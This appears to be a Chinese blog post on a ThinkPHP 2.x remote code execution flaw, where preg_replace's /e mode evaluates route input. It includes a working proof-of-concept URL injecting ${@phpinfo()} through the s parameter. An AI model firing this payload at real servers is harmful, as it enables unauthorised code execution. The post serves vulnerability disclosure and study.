Thinkphp 2.x rce
2023-03-29 23:03:03
130
{{single.collect_count}}

Thinkphp 2.x rce

Thinkphp简介

Thinkphp 是一个开源的,快速、简单的面向对象的轻量级PHP开发框架

漏洞影响版本

Thinkphp 2.x

漏洞概述

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

漏洞复现

http://{{BaseUrl}}/index.php?s=/a/a/a/${@phpinfo()}

在这里插入图片描述

回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}